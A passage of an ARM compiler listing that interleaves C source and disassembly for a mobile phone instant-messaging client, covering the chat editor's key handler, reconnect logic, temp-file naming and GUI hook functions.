R2,R2,#+1 \ 00000060 011082E0 ADD R1,R2,R1 \ 00000064 00209DE5 LDR R2,[SP, #+0] \ 00000068 221181E0 ADD R1,R1,R2, LSR #+2 \ 0000006C 0100002A BCS ??GetTempName_1 \ 00000070 030012E3 TST R2,#0x3 \ 00000074 0000000A BEQ ??GetTempName_2 6837 iday++; \ ??GetTempName_1: \ 00000078 011081E2 ADD R1,R1,#+1 6838 iday=(tt.sec+60*(tt.min+60*(tt.hour+24* iday))); 6839 return iday; \ ??GetTempName_2: \ 0000007C 0830DDE5 LDRB R3,[SP, #+8] \ 00000080 0920DDE5 LDRB R2,[SP, #+9] \ 00000084 0A00DDE5 LDRB R0,[SP, #+10] \ 00000088 18C0A0E3 MOV R12,#+24 \ 0000008C 9C3121E0 MLA R1,R12,R1,R3 \ 00000090 3C30A0E3 MOV R3,#+60 \ 00000094 932121E0 MLA R1,R3,R1,R2 \ 00000098 10D08DE2 ADD SP,SP,#+16 \ 0000009C 930120E0 MLA R0,R3,R1,R0 \ 000000A0 0080BDE8 POP {PC} ;; return \ ??GetTempName_0: \ 000000A4 1F85EB51 DC32 0x51eb851f \ 000000A8 ........ DC32 ??DMonth 6840 } \ In segment DATA_C, align 4, align-sorted \ ??DMonth: \ 00000000 000000001F00 DC32 0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334, 365 \ 00003B000000 \ 5A0000007800 \ 000097000000 \ B5000000D400 \ 0000F3000000 \ 110100003001 \ 00004E010000 \ 6D010000 6841 6842 \ In segment CODE, align 4, keep-with-next 6843 void recon() 6844 { 6845 SUBPROC((void*)end_socket); \ recon: \ 00000000 ........ LDR R0,??DataTable145 ;; end_socket \ 00000004 10402DE9 PUSH {R4,LR} 6846 GBS_DelTimer(&reconnect_tmr); \ 00000008 ........ LDR R4,??DataTable146 ;; S_ICONS \ 0000000C 710100EF SWI +369 \ 00000010 8400A0E3 MOV R0,#+132 \ 00000014 900D80E3 ORR R0,R0,#0x2400 \ 00000018 040080E0 ADD R0,R0,R4 \ 0000001C 8C0100EF SWI +396 6847 DNR_TRIES=3; \ 00000020 0300A0E3 MOV R0,#+3 \ 00000024 A40384E5 STR R0,[R4, #+932] 6848 SUBPROC((void *)create_connect); \ 00000028 ........ LDR R0,??DataTable147 ;; create_connect \ 0000002C 710100EF SWI +369 6849 } \ 00000030 1080BDE8 POP {R4,PC} ;; return 6850 \ In segment CODE, align 4, keep-with-next 6851 int edchat_onkey(GUI *data, GUI_MSG *msg) 6852 { \ edchat_onkey: \ 00000000 F04F2DE9 PUSH {R4-R11,LR} 6853 //-1 - do redraw 6854 GBS_DelTimer(&tmr_illumination); \ 00000004 ........ LDR R5,??DataTable153 ;; S_ICONS \ 00000008 57DF4DE2 SUB SP,SP,#+348 \ 0000000C 0040A0E1 MOV R4,R0 \ 00000010 0170A0E1 MOV R7,R1 \ 00000014 6400A0E3 MOV R0,#+100 \ 00000018 900D80E3 ORR R0,R0,#0x2400 \ 0000001C 050080E0 ADD R0,R0,R5 \ 00000020 8C0100EF SWI +396 6855 CLIST *t; 6856 TPKT *p; 6857 EDITCONTROL ec; 6858 int len, f;//2026rev 6859 unsigned err;//2026rev 6860 char *s; 6861 int l=msg->gbsmsg->submess; \ 00000024 040097E5 LDR R0,[R7, #+4] \ 00000028 088090E5 LDR R8,[R0, #+8] 6862 EDCHAT_STRUCT *ed_struct=EDIT_GetUserPointer(data); \ 0000002C 0400A0E1 MOV R0,R4 \ 00000030 DF0100EF SWI +479 \ 00000034 0060A0E1 MOV R6,R0 6863 char fn[256]; 6864 6865 if (msg->keys==0xFFF) \ 00000038 F200D7E1 LDRSH R0,[R7, #+2] \ 0000003C FF10A0E3 MOV R1,#+255 \ 00000040 F01E81E3 ORR R1,R1,#0xF00 \ 00000044 010050E1 CMP R0,R1 \ 00000048 0200001A BNE ??edchat_onkey_0 6866 { 6867 void ec_menu(EDCHAT_STRUCT *); 6868 ec_menu(ed_struct); \ 0000004C 0600A0E1 MOV R0,R6 \ 00000050 ........ BL ec_menu 6869 return(-1); \ ??edchat_onkey_1: \ 00000054 530100EA B ??edchat_onkey_2 6870 } 6871 if (msg->keys==0xFF0) return (1); \ ??edchat_onkey_0: \ 00000058 FF0E50E3 CMP R0,#+4080 \ 0000005C 0100001A BNE ??edchat_onkey_3 \ 00000060 0100A0E3 MOV R0,#+1 \ 00000064 500100EA B ??edchat_onkey_4 \ ??edchat_onkey_3: \ 00000068 040097E5 LDR R0,[R7, #+4] \ 0000006C 9510A0E3 MOV R1,#+149 \ 00000070 040090E5 LDR R0,[R0, #+4] \ 00000074 401F81E3 ORR R1,R1,#0x100 \ 00000078 010050E1 CMP R0,R1 \ 0000007C 6500001A BNE ??edchat_onkey_5 6872 6873 void AddSmile(GUI *data); 6874 if (msg->gbsmsg->msg==LONG_PRESS) 6875 { 6876 if (l==RIGHT_BUTTON) \ 00000080 3E0058E3 CMP R8,#+62 \ 00000084 2100001A BNE ??edchat_onkey_6 6877 { 6878 if(LongRightAction==2) \ 00000088 600195E5 LDR R0,[R5, #+352] \ 0000008C 020050E3 CMP R0,#+2 \ 00000090 0200001A BNE ??edchat_onkey_7 6879 CreateSmileSelectGUI(ed_struct); \ 00000094 0600A0E1 MOV R0,R6 \ 00000098 ........ _BLF CreateSmileSelectGUI,??CreateSmileSelectGUI??rA \ 0000009C 5D0000EA B ??edchat_onkey_5 6880 else 6881 if(LongRightAction==1) \ ??edchat_onkey_7: \ 000000A0 010050E3 CMP R0,#+1 \ 000000A4 5B00001A BNE ??edchat_onkey_5 6882 { 6883 if (EDIT_GetFocus(data)==ed_struct->ed_answer) \ 000000A8 0400A0E1 MOV R0,R4 \ 000000AC 820100EF SWI +386 \ 000000B0 081096E5 LDR R1,[R6, #+8] \ 000000B4 010050E1 CMP R0,R1 \ 000000B8 5600001A BNE ??edchat_onkey_5 6884 { 6885 ExtractEditControl(data,ed_struct->ed_answer,&ec); \ 000000BC 04208DE2 ADD R2,SP,#+4 \ 000000C0 0400A0E1 MOV R0,R4 \ 000000C4 690100EF SWI +361 6886 if (ec.pWS->wsbody[0]==(EDIT_GetCursorPos(data)-1)) \ 000000C8 0400A0E1 MOV R0,R4 \ 000000CC D30100EF SWI +467 \ 000000D0 2C109DE5 LDR R1,[SP, #+44] \ 000000D4 010040E2 SUB R0,R0,#+1 \ 000000D8 001091E5 LDR R1,[R1, #+0] \ 000000DC B010D1E1 LDRH R1,[R1, #+0] \ 000000E0 000051E1 CMP R1,R0 \ 000000E4 4B00001A BNE ??edchat_onkey_5 6887 { 6888 t=FindNextActiveContact(ed_struct->ed_contact); \ 000000E8 00A096E5 LDR R10,[R6, #+0] \ 000000EC 0A00A0E1 MOV R0,R10 \ 000000F0 ........ BL FindNextActiveContact \ 000000F4 0090B0E1 MOVS R9,R0 6889 if (t && t!=ed_struct->ed_contact) \ 000000F8 0A005911 CMPNE R9,R10 \ 000000FC 4500000A BEQ ??edchat_onkey_5 6890 { 6891 CreateEditChat(t); \ ??edchat_onkey_8: \ 00000100 0900A0E1 MOV R0,R9 \ 00000104 ........ BL CreateEditChat 6892 return(1); \ 00000108 0100A0E3 MOV R0,#+1 \ 0000010C 260100EA B ??edchat_onkey_4 6893 } 6894 } 6895 } 6896 } 6897 } 6898 if (l==LEFT_BUTTON && LongLeftAction) \ ??edchat_onkey_6: \ 00000110 3D0058E3 CMP R8,#+61 \ 00000114 5300001A BNE ??edchat_onkey_9 \ 00000118 640195E5 LDR R0,[R5, #+356] \ 0000011C 000050E3 CMP R0,#+0 \ 00000120 1500000A BEQ ??edchat_onkey_10 6899 { 6900 if (EDIT_GetFocus(data)==ed_struct->ed_answer) \ 00000124 0400A0E1 MOV R0,R4 \ 00000128 820100EF SWI +386 \ 0000012C 081096E5 LDR R1,[R6, #+8] \ 00000130 010050E1 CMP R0,R1 \ 00000134 1000001A BNE ??edchat_onkey_10 6901 { 6902 ExtractEditControl(data,ed_struct->ed_answer,&ec); \ 00000138 04208DE2 ADD R2,SP,#+4 \ 0000013C 0400A0E1 MOV R0,R4 \ 00000140 690100EF SWI +361 6903 if (ec.pWS->wsbody[0]==(EDIT_GetCursorPos(data)-1)) \ 00000144 0400A0E1 MOV R0,R4 \ 00000148 D30100EF SWI +467 \ 0000014C 2C109DE5 LDR R1,[SP, #+44] \ 00000150 010040E2 SUB R0,R0,#+1 \ 00000154 001091E5 LDR R1,[R1, #+0] \ 00000158 B010D1E1 LDRH R1,[R1, #+0] \ 0000015C 000051E1 CMP R1,R0 \ 00000160 0500001A BNE ??edchat_onkey_10 6904 { 6905 t=FindPrevActiveContact(ed_struct->ed_contact); \ 00000164 00A096E5 LDR R10,[R6, #+0] \ 00000168 0A00A0E1 MOV R0,R10 \ 0000016C ........ BL FindPrevActiveContact \ 00000170 0090B0E1 MOVS R9,R0 6906 if (t && t!=ed_struct->ed_contact) \ 00000174 0A005911 CMPNE R9,R10 \ 00000178 E0FFFF1A BNE ??edchat_onkey_8 \ ??edchat_onkey_10: \ 0000017C 040096E5 LDR R0,[R6, #+4] \ 00000180 820100EF SWI +386 \ 00000184 081096E5 LDR R1,[R6, #+8] \ 00000188 010050E1 CMP R0,R1 \ 0000018C 2100000A BEQ ??edchat_onkey_5 \ 00000190 0400A0E1 MOV R0,R4 \ 00000194 D30100EF SWI +467 \ 00000198 010050E3 CMP R0,#+1 \ 0000019C 1D00001A BNE ??edchat_onkey_5 6907 { 6908 CreateEditChat(t); 6909 return(1); 6910 } 6911 } 6912 } 6913 } 6914 #ifdef ELKA 6915 if (l==VOL_DOWN_BUTTON) 6916 { 6917 WSHDR *ws; 6918 ExtractEditControl(data,ed_struct->ed_answer,&ec); 6919 if(wstrlen(ec.pWS)>0) 6920 { 6921 ws=AllocWS(1); 6922 CutWSTR(ws,0); 6923 6924 EDIT_SetFocus(data,ed_struct->ed_answer); 6925 EDIT_SetTextToFocused(ed_struct->ed_chatgui,ws); 6926 6927 FreeWS(ws); 6928 RefreshGUI(); 6929 } 6930 } 6931 if (l==VOL_UP_BUTTON) 6932 { 6933 WSHDR *ws=AllocWS(strlen(last_msg_buffer)+1); 6934 ascii2ws(ws,last_msg_buffer); 6935 EDIT_SetFocus(ed_struct->ed_chatgui,ed_struct->ed_answer); 6936 EDIT_SetTextToFocused(ed_struct->ed_chatgui,ws); 6937 FreeWS(ws); 6938 RefreshGUI(); 6939 } 6940 #endif 6941 #ifdef kluchnik 6942 if(l==LEFT_BUTTON && EDIT_GetFocus(ed_struct->ed_chatgui)!=ed_struct->ed_answer && EDIT_GetCursorPos(data)==1) 6943 { 6944 int ed; 6945 EDITCONTROL ec; 6946 ed=EDIT_GetFocus(ed_struct->ed_chatgui); \ 000001A0 040096E5 LDR R0,[R6, #+4] \ 000001A4 820100EF SWI +386 6947 ExtractEditControl(ed_struct->ed_chatgui,ed,&ec); \ 000001A8 4C2F8DE2 ADD R2,SP,#+304 \ 000001AC 0010A0E1 MOV R1,R0 \ 000001B0 040096E5 LDR R0,[R6, #+4] \ 000001B4 690100EF SWI +361 6948 6949 wsInsertChar(wsBuffer,'>',wstrlen(wsBuffer)+1); \ 000001B8 3C0295E5 LDR R0,[R5, #+572] \ 000001BC 230100EF SWI +291 \ 000001C0 012080E2 ADD R2,R0,#+1 \ 000001C4 3C0295E5 LDR R0,[R5, #+572] \ 000001C8 3E10A0E3 MOV R1,#+62 \ 000001CC 1D0000EF SWI +29 6950 wsInsertChar(wsBuffer,' ',wstrlen(wsBuffer)+1); \ 000001D0 3C0295E5 LDR R0,[R5, #+572] \ 000001D4 230100EF SWI +291 \ 000001D8 012080E2 ADD R2,R0,#+1 \ 000001DC 3C0295E5 LDR R0,[R5, #+572] \ 000001E0 2010A0E3 MOV R1,#+32 \ 000001E4 1D0000EF SWI +29 6951 wstrcat(wsBuffer,ec.pWS); \ 000001E8 58119DE5 LDR R1,[SP, #+344] \ 000001EC 3C0295E5 LDR R0,[R5, #+572] \ 000001F0 210100EF SWI +289 6952 wsInsertChar(wsBuffer,'\n',wstrlen(wsBuffer)+1); \ 000001F4 3C0295E5 LDR R0,[R5, #+572] \ 000001F8 230100EF SWI +291 \ 000001FC 012080E2 ADD R2,R0,#+1 \ 00000200 3C0295E5 LDR R0,[R5, #+572] \ 00000204 0A10A0E3 MOV R1,#+10 \ 00000208 1D0000EF SWI +29 6953 6954 ShowMSG(1,(int)"Message add to buffer"); \ 0000020C F4139FE5 LDR R1,??edchat_onkey_11 ;; `?gbsmsg->msg==KEY_DOWN) \ ??edchat_onkey_5: \ 00000218 040097E5 LDR R0,[R7, #+4] \ 0000021C 9310A0E3 MOV R1,#+147 \ 00000220 040090E5 LDR R0,[R0, #+4] \ 00000224 401F81E3 ORR R1,R1,#0x100 \ 00000228 010050E1 CMP R0,R1 \ 0000022C 0A00001A BNE ??edchat_onkey_12 6960 { 6961 if ((l>='0')&&(l<='9')) \ 00000230 300058E3 CMP R8,#+48 \ 00000234 350000BA BLT ??edchat_onkey_13 \ 00000238 3A0058E3 CMP R8,#+58 \ 0000023C 060000AA BGE ??edchat_onkey_12 6962 { 6963 if (EDIT_GetFocus(data)!=ed_struct->ed_answer) \ 00000240 0400A0E1 MOV R0,R4 \ 00000244 820100EF SWI +386 \ 00000248 081096E5 LDR R1,[R6, #+8] \ 0000024C 010050E1 CMP R0,R1 \ 00000250 0100000A BEQ ??edchat_onkey_12 6964 EDIT_SetFocus(data,ed_struct->ed_answer); \ 00000254 0400A0E1 MOV R0,R4 \ 00000258 9B0100EF SWI +411 6965 } 6966 if (l==GREEN_BUTTON) 6967 { 6968 if (connect_state==3) 6969 { 6970 if ((t=ed_struct->ed_contact)) 6971 { 6972 ExtractEditControl(data,ed_struct->ed_answer,&ec); 6973 SaveAnswer(t,ec.pWS); 6974 if ((s=t->answer)) 6975 { 6976 if ((len=strlen(s))) 6977 { 6978 msg_away_timer=0; 6979 away_m=0; 6980 if(SHOW_ACTIVE) 6981 t->isactive=ACTIVE_TIME; 6982 p=malloc(sizeof(PKT)+len+1); 6983 p->pkt.uin=t->uin; 6984 p->pkt.type=T_SENDMSG; 6985 p->pkt.data_len=len; 6986 strcpy(p->data,s); 6987 #ifdef ELKA 6988 strcpy(last_msg_buffer, s); 6989 #endif 6990 AddStringToLog(t,0x01,p->data,I_str,(++SENDMSGCOUNT)&0x7FFF,1); //Номер сообщения 6991 SUBPROC((void *)SendAnswer,0,p); 6992 main2_count++; 6993 mfree(t->answer); 6994 t->answer=NULL; 6995 // request_remake_edchat=1; 6996 EDIT_SetFocus(data,ed_struct->ed_answer); 6997 CutWSTR(ews,0); 6998 EDIT_SetTextToFocused(data,ews); 6999 AddMsgToChat(data); 7000 RecountMenu(t,1); 7001 return(-1); 7002 } 7003 } 7004 } 7005 } 7006 } 7007 //================2026rev-begin 7008 if (l==ENTER_BUTTON) 7009 { 7010 7011 if (!EDIT_IsMarkModeActive(data)) // ?????? ???? ?? ????????? 7012 { 7013 int pos, len; 7014 char *link; 7015 ExtractEditControl(ed_struct->ed_chatgui,EDIT_GetFocus(ed_struct->ed_chatgui),&ec); 7016 wstrcpy(ews,ec.pWS); 7017 pos = EDIT_GetCursorPos(data); 7018 len = wstrlen(ews); 7019 link = malloc(len+1); 7020 7021 if(IsUrl(ews, pos, link)) 7022 { 7023 snprintf(fn, 255, "%s\\tmp%u.url", TEMPLATES_PATH, GetTempName); 7024 if ((f=fopen(fn,A_WriteOnly+A_BIN+A_Create+A_Truncate,P_WRITE,&err))!=-1) 7025 { 7026 fwrite(f,link,strlen(link),&err); 7027 fclose(f,&err); 7028 str_2ws(ews,fn,256); 7029 ExecuteFile(ews,0,0); 7030 unlink(fn, &err); 7031 } 7032 mfree(link); 7033 return (-1); 7034 } 7035 else 7036 { 7037 int i=ed_struct->loaded_templates=LoadTemplates(ed_struct->ed_contact->uin); 7038 EDIT_OpenOptionMenuWithUserItems(data,ed_options_handler,ed_struct,i+2); 7039 mfree(link); 7040 return (-1); 7041 } 7042 7043 } 7044 7045 } 7046 //================ 2026rev-end =================// 7047 7048 if (l==VOL_UP_BUTTON) 7049 { 7050 int pos; 7051 7052 if ((pos=EDIT_GetFocus(data)-2)>=2) 7053 { 7054 EDIT_SetFocus(data, pos); 7055 EDIT_SetCursorPos(data, 1); 7056 } 7057 return (-1); 7058 } 7059 if (l==VOL_DOWN_BUTTON) 7060 { 7061 int pos; 7062 7063 if ((pos=EDIT_GetFocus(data)+2)<=ed_struct->ed_answer) 7064 { 7065 EDIT_SetFocus(data, pos); 7066 EDIT_SetCursorPos(data, 1); 7067 } 7068 return (-1); 7069 } 7070 } 7071 return(0); //Do standart keys \ ??edchat_onkey_12: \ 0000025C 0000A0E3 MOV R0,#+0 \ 00000260 57DF8DE2 ADD SP,SP,#+348 \ 00000264 F08FBDE8 POP {R4-R11,PC} ;; return \ ??edchat_onkey_9: \ 00000268 0E0058E3 CMP R8,#+14 \ 0000026C 1600001A BNE ??edchat_onkey_14 \ 00000270 081096E5 LDR R1,[R6, #+8] \ 00000274 04208DE2 ADD R2,SP,#+4 \ 00000278 0400A0E1 MOV R0,R4 \ 0000027C 690100EF SWI +361 \ 00000280 2C009DE5 LDR R0,[SP, #+44] \ 00000284 230100EF SWI +291 \ 00000288 010050E3 CMP R0,#+1 \ 0000028C E1FFFFBA BLT ??edchat_onkey_5 \ 00000290 0100A0E3 MOV R0,#+1 \ 00000294 250100EF SWI +293 \ 00000298 0090A0E1 MOV R9,R0 \ 0000029C 0010A0E3 MOV R1,#+0 \ 000002A0 260100EF SWI +294 \ 000002A4 081096E5 LDR R1,[R6, #+8] \ 000002A8 0400A0E1 MOV R0,R4 \ ??edchat_onkey_15: \ 000002AC 9B0100EF SWI +411 \ 000002B0 040096E5 LDR R0,[R6, #+4] \ 000002B4 0910A0E1 MOV R1,R9 \ 000002B8 810100EF SWI +385 \ 000002BC 0900A0E1 MOV R0,R9 \ 000002C0 290100EF SWI +297 \ 000002C4 960100EF SWI +406 \ 000002C8 D2FFFFEA B ??edchat_onkey_5 \ ??edchat_onkey_14: \ 000002CC 0D0058E3 CMP R8,#+13 \ 000002D0 D0FFFF1A BNE ??edchat_onkey_5 \ 000002D4 EC00A0E3 MOV R0,#+236 \ 000002D8 F00E80E3 ORR R0,R0,#0xF00 \ 000002DC 050080E0 ADD R0,R0,R5 \ 000002E0 1B0000EF SWI +27 \ 000002E4 010080E2 ADD R0,R0,#+1 \ 000002E8 250100EF SWI +293 \ 000002EC 0090A0E1 MOV R9,R0 \ 000002F0 EC00A0E3 MOV R0,#+236 \ 000002F4 F00E80E3 ORR R0,R0,#0xF00 \ 000002F8 051080E0 ADD R1,R0,R5 \ 000002FC 0900A0E1 MOV R0,R9 \ 00000300 ........ _BLF ascii2ws,??ascii2ws??rA \ 00000304 081096E5 LDR R1,[R6, #+8] \ 00000308 040096E5 LDR R0,[R6, #+4] \ 0000030C E6FFFFEA B ??edchat_onkey_15 \ ??edchat_onkey_13: \ 00000310 0B0058E3 CMP R8,#+11 \ 00000314 5200001A BNE ??edchat_onkey_16 \ 00000318 E80295E5 LDR R0,[R5, #+744] \ 0000031C 030050E3 CMP R0,#+3 \ 00000320 CDFFFF1A BNE ??edchat_onkey_12 \ 00000324 009096E5 LDR R9,[R6, #+0] \ 00000328 000059E3 CMP R9,#+0 \ 0000032C CAFFFF0A BEQ ??edchat_onkey_12 \ 00000330 081096E5 LDR R1,[R6, #+8] \ 00000334 04208DE2 ADD R2,SP,#+4 \ 00000338 0400A0E1 MOV R0,R4 \ 0000033C 690100EF SWI +361 \ 00000340 2C109DE5 LDR R1,[SP, #+44] \ 00000344 0900A0E1 MOV R0,R9 \ 00000348 ........ BL SaveAnswer \ 0000034C 90A099E5 LDR R10,[R9, #+144] \ 00000350 00005AE3 CMP R10,#+0 \ 00000354 C0FFFF0A BEQ ??edchat_onkey_12 \ 00000358 0A00A0E1 MOV R0,R10 \ 0000035C 1B0000EF SWI +27 \ 00000360 00B0B0E1 MOVS R11,R0 \ 00000364 BCFFFF0A BEQ ??edchat_onkey_12 \ 00000368 780195E5 LDR R0,[R5, #+376] \ 0000036C 0070A0E3 MOV R7,#+0 \ 00000370 807285E5 STR R7,[R5, #+640] \ 00000374 847285E5 STR R7,[R5, #+644] \ 00000378 000050E3 CMP R0,#+0 \ 0000037C 5A0FA013 MOVNE R0,#+360 \ 00000380 98008915 STRNE R0,[R9, #+152] \ 00000384 09008BE2 ADD R0,R11,#+9 \ 00000388 140000EF SWI +20 \ 0000038C 0080A0E1 MOV R8,R0 \ 00000390 0C0099E5 LDR R0,[R9, #+12] \ 00000394 0A10A0E1 MOV R1,R10 \ 00000398 000088E5 STR R0,[R8, #+0] \ 0000039C 0200A0E3 MOV R0,#+2 \ 000003A0 B400C8E1 STRH R0,[R8, #+4] \ 000003A4 B6B0C8E1 STRH R11,[R8, #+6] \ 000003A8 080088E2 ADD R0,R8,#+8 \ 000003AC 1A0000EF SWI +26 \ 000003B0 0A10A0E1 MOV R1,R10 \ 000003B4 EC00A0E3 MOV R0,#+236 \ 000003B8 F00E80E3 ORR R0,R0,#0xF00 \ 000003BC 050080E0 ADD R0,R0,R5 \ 000003C0 1A0000EF SWI +26 \ 000003C4 6C0295E5 LDR R0,[R5, #+620] \ 000003C8 ........ LDR R3,??DataTable160 ;; `?ed_contact)); 7092 ((HEADER_DESC *)&edchat_hdr)->rc.x2=ScreenW()-1-(width=GetImgWidth(icon)); 7093 DrawImg(ScreenW()-1-width,1,icon); 7094 #else 7095 icon=*(S_ICONS+GetIconIndex(ed_struct->ed_contact)); \ 00000038 000090E5 LDR R0,[R0, #+0] \ 0000003C ........ BL GetIconIndex \ 00000040 004194E7 LDR R4,[R4, +R0, LSL #+2] 7096 width=GetImgWidth(icon); \ 00000044 0400A0E1 MOV R0,R4 \ 00000048 220000EF SWI +34 \ 0000004C 0050A0E1 MOV R5,R0 7097 DrawImg(2,((HeaderH()-width)>>1)+YDISP,icon); \ 00000050 8A8100EF SWI +33162 \ 00000054 0420A0E1 MOV R2,R4 \ 00000058 050040E0 SUB R0,R0,R5 \ 0000005C 1810A0E3 MOV R1,#+24 \ 00000060 C01081E0 ADD R1,R1,R0, ASR #+1 \ 00000064 0200A0E3 MOV R0,#+2 \ 00000068 230000EF SWI +35 7098 /* DrawRoundedFrame(ScreenW()-8,YDISP,ScreenW()-1,YDISP+7,0,0,0, 7099 GetPaletteAdrByColorIndex(0), 7100 GetPaletteAdrByColorIndex(EDIT_IsBusy(edchat_gui)?3:4));*/ 7101 #endif 7102 } 7103 } 7104 } \ 0000006C 3080BDE8 POP {R4,R5,PC} ;; return 7105 \ In segment CODE, align 4, keep-with-next 7106 void edchat_ghook(GUI *data, int cmd) 7107 { \ edchat_ghook: \ 00000000 F0432DE9 PUSH {R4-R9,LR} 7108 7109 static const SOFTKEY_DESC sk={0x0FFF,0x0000,(int)LG_MENU}; 7110 static const SOFTKEY_DESC sk_cancel={0x0FF0,0x0000,(int)LG_CLOSE}; 7111 // static SOFTKEY_DESC sk={0x0018,0x0000,(int)"Menu"}; 7112 int j; 7113 EDITCONTROL ec; 7114 EDCHAT_STRUCT *ed_struct=EDIT_GetUserPointer(data); 7115 PNGTOP_DESC *pltop=PNG_TOP(); 7116 if (cmd==9) \ 00000004 ........ LDR R4,??DataTable153 ;; S_ICONS \ 00000008 2CD04DE2 SUB SP,SP,#+44 \ 0000000C 0050A0E1 MOV R5,R0 \ 00000010 0190A0E1 MOV R9,R1 \ 00000014 DF0100EF SWI +479 \ 00000018 0070A0E1 MOV R7,R0 \ 0000001C B98100EF SWI +33209 \ 00000020 0080A0E1 MOV R8,R0 \ 00000024 0060A0E3 MOV R6,#+0 \ 00000028 090059E3 CMP R9,#+9 \ 0000002C 0500001A BNE ??edchat_ghook_0 7117 { 7118 GBS_DelTimer(&tmr_illumination); //by BoBa 25.06.07 \ 00000030 6400A0E3 MOV R0,#+100 \ 00000034 900D80E3 ORR R0,R0,#0x2400 \ 00000038 040080E0 ADD R0,R0,R4 \ 0000003C 8C0100EF SWI +396 7119 pltop->dyn_pltop=NULL; \ 00000040 086088E5 STR R6,[R8, #+8] \ 00000044 170000EA B ??edchat_ghook_1 7120 } 7121 if (cmd==2) \ ??edchat_ghook_0: \ 00000048 081097E5 LDR R1,[R7, #+8] \ 0000004C 020059E3 CMP R9,#+2 \ 00000050 1600001A BNE ??edchat_ghook_2 7122 { 7123 ed_struct->ed_chatgui=data; \ 00000054 045087E5 STR R5,[R7, #+4] 7124 // edgui_data=data; 7125 EDIT_SetFocus(data,ed_struct->ed_answer); \ 00000058 0500A0E1 MOV R0,R5 \ 0000005C 9B0100EF SWI +411 7126 7127 static void *methods[16]; 7128 void **m=GetDataOfItemByID(data,2); \ 00000060 0210A0E3 MOV R1,#+2 \ 00000064 0500A0E1 MOV R0,R5 \ 00000068 4F0100EF SWI +335 \ 0000006C 0050B0E1 MOVS R5,R0 7129 if (m) 7130 { 7131 if (m[1]) \ 00000070 04009515 LDRNE R0,[R5, #+4] \ 00000074 00005013 CMPNE R0,#+0 \ 00000078 6700000A BEQ ??edchat_ghook_3 7132 { 7133 memcpy(methods,m[1],sizeof(methods)); \ 0000007C F16FA0E3 MOV R6,#+964 \ 00000080 4020A0E3 MOV R2,#+64 \ 00000084 0010A0E1 MOV R1,R0 \ 00000088 040086E0 ADD R0,R6,R4 \ 0000008C 1E0100EF SWI +286 7134 old_ed_redraw=(void (*)(void *))(methods[0]); \ 00000090 040096E7 LDR R0,[R6, +R4] \ 00000094 C00384E5 STR R0,[R4, #+960] 7135 methods[0]=(void *)my_ed_redraw; \ 00000098 84019FE5 LDR R0,??edchat_ghook_4 ;; my_ed_redraw \ 0000009C 040086E7 STR R0,[R6, +R4] 7136 m[1]=methods; \ 000000A0 040086E0 ADD R0,R6,R4 \ 000000A4 040085E5 STR R0,[R5, #+4] \ ??edchat_ghook_1: \ 000000A8 2CD08DE2 ADD SP,SP,#+44 \ 000000AC F083BDE8 POP {R4-R9,PC} 7137 } 7138 } 7139 } 7140 if (cmd==3) \ ??edchat_ghook_2: \ 000000B0 030059E3 CMP R9,#+3 \ 000000B4 0E00001A BNE ??edchat_ghook_5 7141 { 7142 // if (edgui_data==data) edgui_data=NULL; 7143 if (ed_struct->ed_contact) \ 000000B8 000097E5 LDR R0,[R7, #+0] \ 000000BC 000050E3 CMP R0,#+0 \ 000000C0 0500000A BEQ ??edchat_ghook_6 7144 { 7145 ExtractEditControl(data,ed_struct->ed_answer,&ec); \ 000000C4 0D20A0E1 MOV R2,SP \ 000000C8 0500A0E1 MOV R0,R5 \ 000000CC 690100EF SWI +361 7146 SaveAnswer(ed_struct->ed_contact,ec.pWS); \ 000000D0 28109DE5 LDR R1,[SP, #+40] \ 000000D4 000097E5 LDR R0,[R7, #+0] \ 000000D8 ........ BL SaveAnswer 7147 } 7148 RecountMenu(ed_struct->ed_contact,1); \ ??edchat_ghook_6: \ 000000DC 000097E5 LDR R0,[R7, #+0] \ 000000E0 0110A0E3 MOV R1,#+1 \ 000000E4 ........ BL RecountMenu 7149 mfree(ed_struct); \ 000000E8 0700A0E1 MOV R0,R7 \ 000000EC 150000EF SWI +21 \ 000000F0 ECFFFFEA B ??edchat_ghook_1 7150 } 7151 if (cmd==0x0A) \ ??edchat_ghook_5: \ 000000F4 0A0059E3 CMP R9,#+10 \ 000000F8 0D00001A BNE ??edchat_ghook_7 7152 { 7153 pltop->dyn_pltop=SmilesImgList; \ 000000FC 24019FE5 LDR R0,??edchat_ghook_4+0x4 ;; SmilesImgList \ 00000100 000090E5 LDR R0,[R0, #+0] \ 00000104 080088E5 STR R0,[R8, #+8] 7154 DisableIDLETMR(); \ 00000108 7F0100EF SWI +383 7155 total_unread-=ed_struct->requested_decrement_total_unread; \ 0000010C 0C0394E5 LDR R0,[R4, #+780] \ 00000110 0C1097E5 LDR R1,[R7, #+12] \ 00000114 010040E0 SUB R0,R0,R1 \ 00000118 0C0384E5 STR R0,[R4, #+780] 7156 ed_struct->requested_decrement_total_unread=0; \ 0000011C 0C6087E5 STR R6,[R7, #+12] 7157 #ifdef ELKA 7158 if (!total_unread) \ 00000120 0C0394E5 LDR R0,[R4, #+780] \ 00000124 000050E3 CMP R0,#+0 \ 00000128 3B00001A BNE ??edchat_ghook_3 7159 { 7160 SLI_Off(); \ 0000012C ........ BL SLI_Off \ 00000130 DCFFFFEA B ??edchat_ghook_1 7161 } 7162 #endif 7163 /* if (request_close_edchat) 7164 { 7165 request_close_edchat=0; 7166 GeneralFunc_flag1(edchat_id,1); 7167 return; 7168 }*/ 7169 } 7170 if (cmd==7) \ ??edchat_ghook_7: \ 00000134 070059E3 CMP R9,#+7 \ 00000138 2800001A BNE ??edchat_ghook_8 7171 { 7172 SetSoftKey(data,&sk,SET_SOFT_KEY_N); \ 0000013C E8809FE5 LDR R8,??edchat_ghook_4+0x8 ;; ??sk_1 \ 00000140 0020A0E3 MOV R2,#+0 \ 00000144 0810A0E1 MOV R1,R8 \ 00000148 0500A0E1 MOV R0,R5 \ 0000014C 680100EF SWI +360 7173 ExtractEditControl(data,ed_struct->ed_answer,&ec); \ 00000150 081097E5 LDR R1,[R7, #+8] \ 00000154 0D20A0E1 MOV R2,SP \ 00000158 0500A0E1 MOV R0,R5 \ 0000015C 690100EF SWI +361 7174 if (ec.pWS->wsbody[0]==0) \ 00000160 28009DE5 LDR R0,[SP, #+40] \ 00000164 000090E5 LDR R0,[R0, #+0] \ 00000168 B000D0E1 LDRH R0,[R0, #+0] \ 0000016C 000050E3 CMP R0,#+0 \ 00000170 0300001A BNE ??edchat_ghook_9 7175 SetSoftKey(data,&sk_cancel,SET_SOFT_KEY_N==0?1:0); \ 00000174 